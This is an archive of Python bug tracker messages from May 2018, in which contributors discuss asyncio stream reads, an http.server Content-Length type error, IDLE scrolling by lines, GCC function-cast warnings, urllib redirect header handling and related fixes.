Selivanov) Date: Sun, 27 May 2018 22:45:56 +0000 Subject: [issue33662] asyncio Stream Reader Blocks on read when data fetched is less than limit In-Reply-To: <1527460481.84.0.682650639539.issue33662@psf.upfronthosting.co.za> Message-ID: <1527461156.03.0.682650639539.issue33662@psf.upfronthosting.co.za> Yury Selivanov added the comment: "if not block:" means EOF and replacing it with "if len(block) < self._limit:" would break everything. There might be another bug here (with TTY) or, maybe, there's a bug in pty_test.py. For example, I don't see how you closing reader_pipe or writer_pipe. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 19:02:37 2018 From: report at bugs.python.org (skorpeo) Date: Sun, 27 May 2018 23:02:37 +0000 Subject: [issue33662] asyncio Stream Reader Blocks on read when data fetched is less than limit In-Reply-To: <1527461156.03.0.682650639539.issue33662@psf.upfronthosting.co.za> Message-ID: skorpeo added the comment: Yes makes sense, it could be another bug with TTY or just my error and I did preface that I am submitting this humbly. You are also correct that there is no clean up for closing the pipes. On Mon, May 28, 2018 at 1:45 AM, Yury Selivanov wrote: > > Yury Selivanov added the comment: > > "if not block:" means EOF and replacing it with "if len(block) < > self._limit:" would break everything. > > There might be another bug here (with TTY) or, maybe, there's a bug in > pty_test.py. For example, I don't see how you closing reader_pipe or > writer_pipe. > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 19:03:25 2018 From: report at bugs.python.org (Jean-Marc Le Peuvedic) Date: Sun, 27 May 2018 23:03:25 +0000 Subject: [issue33663] Web.py wsgiserver3.py raises TypeError when CSS file is not found Message-ID: <1527462202.39.0.682650639539.issue33663@psf.upfronthosting.co.za> New submission from Jean-Marc Le Peuvedic : When running the built-in web server of web.py, the following error messages appear when the HTTP client fetches a non existing CSS file: TypeError('WSGI response header value 469 is not of type str.',) Traceback (most recent call last): File "/home/jm/miniconda3/envs/REST/lib/python3.6/site-packages/web/wsgiserver/wsgiserver3.py", line 1089, in communicate req.respond() File "/home/jm/miniconda3/envs/REST/lib/python3.6/site-packages/web/wsgiserver/wsgiserver3.py", line 877, in respond self.server.gateway(self).respond() File "/home/jm/miniconda3/envs/REST/lib/python3.6/site-packages/web/wsgiserver/wsgiserver3.py", line 1982, in respond for chunk in response: File "/home/jm/miniconda3/envs/REST/lib/python3.6/site-packages/web/httpserver.py", line 267, in __iter__ self.start_response(self.status, self.headers) File "/home/jm/miniconda3/envs/REST/lib/python3.6/site-packages/web/httpserver.py", line 320, in xstart_response out = start_response(status, response_headers, *args) File "/home/jm/miniconda3/envs/REST/lib/python3.6/site-packages/web/wsgiserver/wsgiserver3.py", line 2029, in start_response "WSGI response header value %r is not of type str." % v) TypeError: WSGI response header value 469 is not of type str. The faulty header is added by Python library, http/server.py. Error added in version 3.4 according to comments. Lines 467-471 in the attached file: body = content.encode('UTF-8', 'replace') self.send_header("Content-Type", self.error_content_type) self.send_header('Content-Length', int(len(body))) self.end_headers() The value for 'Content-Length' is passed as an 'int', but only a 'str' is acceptable. In the latest revision of 'server.py', the same code appears line 453. A possible correction is : body = content.encode('UTF-8', 'replace') self.send_header("Content-Type", self.error_content_type) self.send_header('Content-Length', str(int(len(body)))) self.end_headers() ---------- components: Library (Lib) files: server.py messages: 317813 nosy: jmlp priority: normal severity: normal status: open title: Web.py wsgiserver3.py raises TypeError when CSS file is not found type: behavior versions: Python 3.6 Added file: https://bugs.python.org/file47616/server.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 19:03:56 2018 From: report at bugs.python.org (Yury Selivanov) Date: Sun, 27 May 2018 23:03:56 +0000 Subject: [issue33662] asyncio Stream Reader Blocks on read when data fetched is less than limit In-Reply-To: <1527460481.84.0.682650639539.issue33662@psf.upfronthosting.co.za> Message-ID: <1527462236.7.0.682650639539.issue33662@psf.upfronthosting.co.za> Yury Selivanov added the comment: > You are also correct that there is no clean up for closing the pipes. It's not just about the cleanup. If you don't close the pipes, they will be open forever, so there will be no EOF for which read(-1) will wait forever. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 19:37:07 2018 From: report at bugs.python.org (skorpeo) Date: Sun, 27 May 2018 23:37:07 +0000 Subject: [issue33662] asyncio Stream Reader Blocks on read when data fetched is less than limit In-Reply-To: <1527462236.7.0.682650639539.issue33662@psf.upfronthosting.co.za> Message-ID: skorpeo added the comment: yes, in this case they were meant to stay open to write and read multiple messages. I was hoping to read data when it is available, the other work around was to specify n, but that also blocked once there was no more data to be fetched....Either way I will stick to queues and this appears to be expected behavior so you can disregard the report. I should have known better that I wasn't going to find a bug in python :) On Mon, May 28, 2018 at 2:03 AM, Yury Selivanov wrote: > > Yury Selivanov added the comment: > > > You are also correct that there is no clean up for closing the pipes. > > It's not just about the cleanup. If you don't close the pipes, they will > be open forever, so there will be no EOF for which read(-1) will wait > forever. > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 19:39:51 2018 From: report at bugs.python.org (Yury Selivanov) Date: Sun, 27 May 2018 23:39:51 +0000 Subject: [issue33662] asyncio Stream Reader Blocks on read when data fetched is less than limit In-Reply-To: <1527460481.84.0.682650639539.issue33662@psf.upfronthosting.co.za> Message-ID: <1527464391.32.0.682650639539.issue33662@psf.upfronthosting.co.za> Yury Selivanov added the comment: > I should have known better that I wasn't going to find a bug in python :) We have a lot of bugs, as any other software :) Don't be afraid to open issues. I'll close this bug, feel free to re-open. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 19:47:46 2018 From: report at bugs.python.org (Yury Selivanov) Date: Sun, 27 May 2018 23:47:46 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527464866.65.0.682650639539.issue32458@psf.upfronthosting.co.za> Yury Selivanov added the comment: Christian, I believe https://github.com/python/cpython/pull/7130/commits/bd17a5593f03e3f2d39a64f5afd3ffb77c97e914 fixes the issue with OpenSSL 1.1.1 (socket.shutdown was missing and asyncio's protocol didn't receive EOF, instead the connection was terminated (as expected though)) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 20:11:20 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Mon, 28 May 2018 00:11:20 +0000 Subject: [issue33661] urllib may leak sensitive HTTP headers to a third-party web site In-Reply-To: <1527430806.55.0.682650639539.issue33661@psf.upfronthosting.co.za> Message-ID: <1527466280.44.0.682650639539.issue33661@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: According to https://stackoverflow.com/questions/1969709/how-to-forward-headers-on-http-redirect , there's nothing in the specs that mention (even the possibility) of any special request header processing. According to https://tools.ietf.org/html/rfc7231#section-6.4 , redirection targets are to be treated as effectively equal to the original URL. So, there aren't any grounds for the proposed filtering from web standards' POV. Neither are there from security POV: once you have given your credentials to a server, it is free to do whatever it wants with them. So, by giving them, you have effectively put down your signature that you trust the server with your data -- which implies trusting its advice where to resend it. The server could as well do that resending itself and passed you the end result. So, your proposed filtering does not actually achieve anything meaningful.1 ---------- nosy: +Ivan.Pozdeev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 20:46:46 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 28 May 2018 00:46:46 +0000 Subject: [issue33664] IDLE: scroll text by lines, not pixels. Message-ID: <1527468406.58.0.682650639539.issue33664@psf.upfronthosting.co.za> New submission from Terry J. Reedy : When tk and hence, IDLE, opens a text window, it contains an integral number of lines of text in the base font. Clicking a vertical scrollbar arrow button moves text up or down exactly one line. Clicking in the trough between the buttons and and the slider moves text up or down one 'page', a page being the number of lines in the window -2. The text and window can be de-synchronized with the slider and mouse wheel. (If the window size is changes to a non-integral number of lines, 'synchronized' means a complete line at the top.) By default, the wheel moves text about 3 lines per 'click'. Apparently, it is exactly 50 pixels at a time. This is discussed on #25015. For that issue, the focus was on '3' (or 50) being too small. This issue is about changing 'about' to 'exactly', so that synchronized text remains so when using the wheel or slider. For both, the solution should be to use Text.xview_scroll(n, units). For the wheel, we can replace the default tk wheel handler. While we are at it, we could make the wheel effect be +- 5 lines, which would solve #25015, which I will close. I don't think a configuration setting is needed. For the slider, we can replace xview as the scrollbar command with a function that maps command('moveto', fraction) to xview_scroll(n, 'units'). The number n should be the difference between the current top line ("text.index("@0,0").split('.')[0]") and the desired top line ("round(fraction * text.index('end').split('.')[0]"). Experiments should show if we need to adjust the rounded value We should not need to adjust for the fact that the last lines of text cannot become top lines. A request to scroll 'too far' goes as far as possible without raising an exception. ---------- assignee: terry.reedy components: IDLE messages: 317819 nosy: cheryl.sabella, terry.reedy priority: normal severity: normal stage: test needed status: open title: IDLE: scroll text by lines, not pixels. type: behavior versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 20:52:49 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 28 May 2018 00:52:49 +0000 Subject: [issue25015] Idle: scroll Text faster with mouse wheel In-Reply-To: <1441566965.71.0.33630989907.issue25015@psf.upfronthosting.co.za> Message-ID: <1527468769.41.0.682650639539.issue25015@psf.upfronthosting.co.za> Terry J. Reedy added the comment: This is 'out of date' in the sense that I have decided that the root problem is scrolling by pixels instead of lines. Once we do the latter, for #33664, we can just scroll by, say, 5 lines instead of 3, which I think is sufficient. ---------- resolution: -> out of date stage: test needed -> resolved status: open -> closed superseder: -> IDLE: scroll text by lines, not pixels. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 21:24:27 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 28 May 2018 01:24:27 +0000 Subject: [issue33642] IDLE: Use variable number of lines in CodeContext In-Reply-To: <1527208905.36.0.682650639539.issue33642@psf.upfronthosting.co.za> Message-ID: <1527470667.48.0.682650639539.issue33642@psf.upfronthosting.co.za> Terry J. Reedy added the comment: After testing the patch as a user, I would like 3 user-visible changes. 1. Only display a blank line when there are no context lines. 2. Replace the 'lines' option with a 'maxlines' option. There is no need to worry about, or explain to users (see 3.) the possible complications of reusing 'lines' with a different meaning. 3. Add a 'maxlines' entry to the General tab help page. I will work on this either first or second. I will post other thoughts on the master issue, #33610. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 22:28:02 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 28 May 2018 02:28:02 +0000 Subject: [issue33610] IDLE: Make multiple improvements to CodeContext In-Reply-To: <1527052692.02.0.682650639539.issue33610@psf.upfronthosting.co.za> Message-ID: <1527474482.81.0.682650639539.issue33610@psf.upfronthosting.co.za> Terry J. Reedy added the comment: While trying out variable lines, #33642, I encounter two related issues. First is the context colors. Black on gray is a variant of black on white. I am using the dark theme, white on dark blue. For fixed sized context, the high contrast is okay. For variable context, having lines flip from light on dark to dark on light and back is distracting to obnoxious. So I want to change 9. Reenable user config of context colors? to 9. Reenable user config of context colors! Add the current black on gray to the light theme and appropriate values, to be determined, to the dark theme. Second is getting partial lines at the top of the text box as a result of scrolling with the mousewheel or scrollbar slider. I never liked this but tolerated it. With complete text lines above, it looks awful to me. Hence, I consider the following to be a dependency of this issue. 17. #33664 Scroll by lines instead of sometimes by pixels. Following the implementation notes for #33664, once the label is changes to text, to get the target topline, 8. can be implemented with text.xview_scroll(target_topline - current_topline, 'units') I would like to release multiple user visible improvements at once, at least 7, 9, and 17, so the new code context looks good from the start. 8, menu changes, and 14 could come later. ---------- dependencies: +IDLE: scroll text by lines, not pixels. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 23:53:34 2018 From: report at bugs.python.org (Antti Haapala) Date: Mon, 28 May 2018 03:53:34 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1527479614.63.0.682650639539.issue33012@psf.upfronthosting.co.za> Antti Haapala added the comment: Well, there's only one problem with casting to void *: while converting the function pointer to another *is* standard-compliant, and GCC is being just hypersensitive here, casting a function pointer to void * isn't, though it is a common extension (http://port70.net/~nsz/c/c11/n1570.html#J.5.7). Pedantically the correct way is to cast to a function pointer with no prototype (empty parentheses) and from that to the target type. See for example. See for example https://godbolt.org/g/FdPdUj ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 02:28:26 2018 From: report at bugs.python.org (Artem Smotrakov) Date: Mon, 28 May 2018 06:28:26 +0000 Subject: [issue33661] urllib may leak sensitive HTTP headers to a third-party web site In-Reply-To: <1527430806.55.0.682650639539.issue33661@psf.upfronthosting.co.za> Message-ID: <1527488906.3.0.682650639539.issue33661@psf.upfronthosting.co.za> Artem Smotrakov added the comment: Hi Ivan, Yes, unfortunately specs don't say anything about this scenario. > once you have given your credentials to a server, it is free to do whatever it wants with them. I hope servers don't share this opinion :) > So, your proposed filtering does not actually achieve anything meaningful.1 I am sorry that I couldn't convice you. Thank you for your reply! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 02:31:40 2018 From: report at bugs.python.org (Siddhesh Poyarekar) Date: Mon, 28 May 2018 06:31:40 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1527489100.36.0.682650639539.issue33012@psf.upfronthosting.co.za> Siddhesh Poyarekar added the comment: > Pedantically the correct way is to cast to a function pointer with no prototype (empty parentheses) and from that to the target type. See for example. See for example https://godbolt.org/g/FdPdUj This is one way that the gcc diagnostics explicitly allow in addition to variable arguments like so: https://godbolt.org/g/Dtb4fv ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 03:12:54 2018 From: report at bugs.python.org (Chih-Hsuan Yen) Date: Mon, 28 May 2018 07:12:54 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1527491574.49.0.682650639539.issue33012@psf.upfronthosting.co.za> Chih-Hsuan Yen added the comment: There are still quite a few similar warnings on git-master. Do they indicate the same problem or should I open new issues? For example: gcc -pthread -c -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Werror=implicit-function-declaration -I. -I./Include -DPy_BUILD_CORE -o Objects/bytearrayobject.o Objects/bytearrayobject.c In file included from Objects/bytearrayobject.c:96: Objects/clinic/bytearrayobject.c.h:677:23: warning: cast between incompatible function types from ?PyObject * (*)(PyByteArrayObject *, PyObject * const*, Py_ssize_t)? {aka ?struct _object * (*)(struct *, struct _object * const*, long int)?} to ?PyObject * (*)(PyObject *, PyObject *)? {aka ?struct _object * (*)(struct _object *, struct _object *)?} [-Wcast-function-type] {"__reduce_ex__", (PyCFunction)bytearray_reduce_ex, METH_FASTCALL, bytearray_reduce_ex__doc__}, ^ Objects/bytearrayobject.c:2136:5: note: in expansion of macro ?BYTEARRAY_REDUCE_EX_METHODDEF? BYTEARRAY_REDUCE_EX_METHODDEF ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I'm using GCC 8.1.0 on Arch Linux. ---------- nosy: +yan12125 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 03:27:50 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 28 May 2018 07:27:50 +0000 Subject: [issue33630] test_posix: TestPosixSpawn fails on PPC64 Fedora 3.x In-Reply-To: <1527128333.92.0.682650639539.issue33630@psf.upfronthosting.co.za> Message-ID: <1527492470.34.0.682650639539.issue33630@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The race condition is in tests (we can open a file before it be written in a child). The reed memory reusage is in the posix module. Didn't look at it close, but seems the content of a temporary Python object (the result of encoding/decoding) is passed to C library function, and this object is freed before the content be used. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 03:29:57 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 28 May 2018 07:29:57 +0000 Subject: [issue18307] Relative path in co_filename for zipped modules In-Reply-To: <1372256829.94.0.0966099631525.issue18307@psf.upfronthosting.co.za> Message-ID: <1527492597.62.0.682650639539.issue18307@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Only a PR for master is needed. Changes to other branches will be ported after reviewing and merging the PR for master. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 04:16:03 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 28 May 2018 08:16:03 +0000 Subject: [issue33658] Introduce a method to concatenate regex patterns In-Reply-To: <1527411207.29.0.682650639539.issue33658@psf.upfronthosting.co.za> Message-ID: <1527495363.71.0.682650639539.issue33658@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This is not trivial task because inline flags with global scope can be occurred in any part of the pattern (although using them not at the start of the pattern is deprecated). But starting with 3.7 you can use inline flags with local scope. This will allow you to use simple string concatenation. pats = [r'(?m:^line.continues$)', r'(?s:begin.*?end)'] ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 04:22:35 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 28 May 2018 08:22:35 +0000 Subject: [issue33652] Improve pickling of typing types In-Reply-To: <1527318615.23.0.682650639539.issue33652@psf.upfronthosting.co.za> Message-ID: <1527495755.67.0.682650639539.issue33652@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6778 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 04:42:15 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 08:42:15 +0000 Subject: [issue32290] bolen-dmg-3.6: compilation failed with OSError: [Errno 23] Too many open files in system In-Reply-To: <1513093245.22.0.213398074469.issue32290@psf.upfronthosting.co.za> Message-ID: <1527496935.18.0.682650639539.issue32290@psf.upfronthosting.co.za> STINNER Victor added the comment: > The macOS Tiger buildbot where all of these "too many files open" OS failures occurred has been retired. macOS Tiger is still supported, since we still have x86 Tiger buildbot, it's just the dmg buildbot on Tiger which has been retired. Right? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 04:46:06 2018 From: report at bugs.python.org (Sergey B Kirpichev) Date: Mon, 28 May 2018 08:46:06 +0000 Subject: [issue32832] doctest should support custom ps1/ps2 prompts In-Reply-To: <1518443379.42.0.467229070634.issue32832@psf.upfronthosting.co.za> Message-ID: <1527497166.5.0.682650639539.issue32832@psf.upfronthosting.co.za> Sergey B Kirpichev added the comment: > are people writing an entirely different shell interface. They're rare. Or just using a different shell interface. Or even different defaults for the standard shell... And they are not rare. Almost nobody in reality use CPython shell - that's definitely true for scientific applications of Python, data scientists, etc. > As your IPython example showed, their job is harder than _just_ replacing PS1/PS2. Yes, custom shells have much more stuff (In/Out arrays, etc), but changing PS1/PS2 - require very tiny modifications for doctest. And such changes - almost all that usually prevent using standard doctest for testing examples, written for applications, which assume "a different shell interface" (which, I remind, may be just a plain CPython shell with customized ps1/ps2). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 04:48:37 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 28 May 2018 08:48:37 +0000 Subject: [issue32290] bolen-dmg-3.6: compilation failed with OSError: [Errno 23] Too many open files in system In-Reply-To: <1513093245.22.0.213398074469.issue32290@psf.upfronthosting.co.za> Message-ID: <1527497317.49.0.682650639539.issue32290@psf.upfronthosting.co.za> Ned Deily added the comment: Whether or not Tiger is supported, we no longer have any Tiger buildbots. We agreed to retire them earlier this year. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 05:06:09 2018 From: report at bugs.python.org (Marcel Plch) Date: Mon, 28 May 2018 09:06:09 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527498369.51.0.682650639539.issue32374@psf.upfronthosting.co.za> Change by Marcel Plch : ---------- pull_requests: +6779 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 05:14:56 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 09:14:56 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527498896.21.0.682650639539.issue32458@psf.upfronthosting.co.za> STINNER Victor added the comment: I just reproduced the issue on Linux. Open 3 terminals and run the commands in parallel: (1) ./python -m test test_asyncio -m test_start_tls_server_1 -F (2) ./python -m test -j16 -r (3) ./python -m test -j16 -r It's a race condition which doesn't depend on the OS, but on the system load. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 05:16:45 2018 From: report at bugs.python.org (Petr Viktorin) Date: Mon, 28 May 2018 09:16:45 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527499005.91.0.682650639539.issue32374@psf.upfronthosting.co.za> Petr Viktorin added the comment: > That's a weak test: if the script fails before calling spec.loader.create_module(), the test also pass. If the function raises an exception but don't crash, the test pass as well. Marcel added PR 7145 for that -- it wraps things in try/except to catch Python-level exceptions sounds like a good solution to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 05:53:47 2018 From: report at bugs.python.org (Vitaly Murashev) Date: Mon, 28 May 2018 09:53:47 +0000 Subject: [issue18307] Relative path in co_filename for zipped modules In-Reply-To: <1372256829.94.0.0966099631525.issue18307@psf.upfronthosting.co.za> Message-ID: <1527501227.86.0.682650639539.issue18307@psf.upfronthosting.co.za> Vitaly Murashev added the comment: > Only a PR for master is needed. Serhiy Storchaka, thanks for advice, I cancelled unnecessary PRs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 06:27:24 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 10:27:24 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527503244.44.0.682650639539.issue32911@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 06:34:08 2018 From: report at bugs.python.org (pkerling) Date: Mon, 28 May 2018 10:34:08 +0000 Subject: [issue30654] signal module always overwrites SIGINT on interpreter shutdown In-Reply-To: <1497359164.84.0.615765342748.issue30654@psf.upfronthosting.co.za> Message-ID: <1527503648.68.0.682650639539.issue30654@psf.upfronthosting.co.za> Change by pkerling <9b6ab161 at casix.org>: ---------- keywords: +patch pull_requests: +6780 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 06:39:05 2018 From: report at bugs.python.org (pez) Date: Mon, 28 May 2018 10:39:05 +0000 Subject: [issue33665] tkinter.ttk.Scrollbar.fraction() is inaccurate, or at least inconsistent compared to the non ttk version Message-ID: <1527503945.83.0.682650639539.issue33665@psf.upfronthosting.co.za> New submission from pez <4coreylopez at gmail.com>: tkinter.Scrollbar(orient='horizontal').fraction() gives you an accurate representation of how far along the mouse is in the trough. The output is 0.0 when the mouse is on the first pixel of the trough. The output is 1.0 when the mouse is on the last pixel of the trough. tkinter.ttk.Scrollbar(orient='horizontal').fraction() believes the trough is 16 pixels shorter than it is. The output is 0.0 when the mouse is on the first pixel of the trough. However, the output is greater than 1.0 when the mouse is on the last pixel of the trough. This extra 16 pixels is static, so the behavior is the same regardless of how wide the scrollbar is. While possibly coincidental, it's interesting that the 16 pixels is also close to the default width of the scrollbar. This is happening for me on Windows 7. Did not test vertical orientation. ---------- components: Tkinter files: ttk_scroll_bug.py messages: 317836 nosy: pez priority: normal severity: normal status: open title: tkinter.ttk.Scrollbar.fraction() is inaccurate, or at least inconsistent compared to the non ttk version type: behavior versions: Python 3.6 Added file: https://bugs.python.org/file47617/ttk_scroll_bug.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 06:53:25 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 10:53:25 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527504805.18.0.682650639539.issue32374@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6781 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 06:54:59 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Mon, 28 May 2018 10:54:59 +0000 Subject: [issue33652] Improve pickling of typing types In-Reply-To: <1527318615.23.0.682650639539.issue33652@psf.upfronthosting.co.za> Message-ID: <1527504899.13.0.682650639539.issue33652@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: New changeset 97b523db7c79c18c48516fba9410014d9896abc4 by Ivan Levkivskyi (Serhiy Storchaka) in branch 'master': bpo-33652: Remove __getstate__ and __setstate__ methods in typing. (GH-7144) https://github.com/python/cpython/commit/97b523db7c79c18c48516fba9410014d9896abc4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 06:55:12 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 10:55:12 +0000 Subject: [issue33652] Improve pickling of typing types In-Reply-To: <1527318615.23.0.682650639539.issue33652@psf.upfronthosting.co.za> Message-ID: <1527504912.83.0.682650639539.issue33652@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6782 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 07:01:49 2018 From: report at bugs.python.org (twisteroid ambassador) Date: Mon, 28 May 2018 11:01:49 +0000 Subject: [issue31467] cElementTree behaves differently compared to ElementTree In-Reply-To: <1505383581.51.0.650948952182.issue31467@psf.upfronthosting.co.za> Message-ID: <1527505309.02.0.682650639539.issue31467@psf.upfronthosting.co.za> Change by twisteroid ambassador : ---------- pull_requests: +6783 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 07:02:50 2018 From: report at bugs.python.org (twisteroid ambassador) Date: Mon, 28 May 2018 11:02:50 +0000 Subject: [issue31647] asyncio: StreamWriter write_eof() after close raises mysterious AttributeError In-Reply-To: <1506746563.39.0.213398074469.issue31647@psf.upfronthosting.co.za> Message-ID: <1527505370.92.0.682650639539.issue31647@psf.upfronthosting.co.za> twisteroid ambassador added the comment: I was about to write a long comment asking what the appropriate behavior should be, but then saw that _ProactorSocketTransport already handles the same issue properly, so I will just change _SelectorSocketTransport to do the same thing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 07:21:56 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 11:21:56 +0000 Subject: [issue33652] Improve pickling of typing types In-Reply-To: <1527318615.23.0.682650639539.issue33652@psf.upfronthosting.co.za> Message-ID: <1527506516.27.0.682650639539.issue33652@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 98b089e2a178a309f20ac9ff498b230407da1f47 by Miss Islington (bot) in branch '3.7': bpo-33652: Remove __getstate__ and __setstate__ methods in typing. (GH-7144) https://github.com/python/cpython/commit/98b089e2a178a309f20ac9ff498b230407da1f47 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 07:29:25 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 28 May 2018 11:29:25 +0000 Subject: [issue31467] cElementTree behaves differently compared to ElementTree In-Reply-To: <1505383581.51.0.650948952182.issue31467@psf.upfronthosting.co.za> Message-ID: <1527506965.79.0.682650639539.issue31467@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: -6783 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 08:11:23 2018 From: report at bugs.python.org (Petr Viktorin) Date: Mon, 28 May 2018 12:11:23 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527509483.08.0.682650639539.issue32374@psf.upfronthosting.co.za> Petr Viktorin added the comment: New changeset 08c5aca9d13b24b35faf89ebd26fc348ae1731b2 by Petr Viktorin (Marcel Plch) in branch 'master': bpo-32374: Ignore Python-level exceptions in test_bad_traverse (GH-7145) https://github.com/python/cpython/commit/08c5aca9d13b24b35faf89ebd26fc348ae1731b2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 08:11:37 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 12:11:37 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527509497.64.0.682650639539.issue32374@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6784 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 08:29:15 2018 From: report at bugs.python.org (Vinay Sajip) Date: Mon, 28 May 2018 12:29:15 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1527510555.49.0.682650639539.issue33400@psf.upfronthosting.co.za> 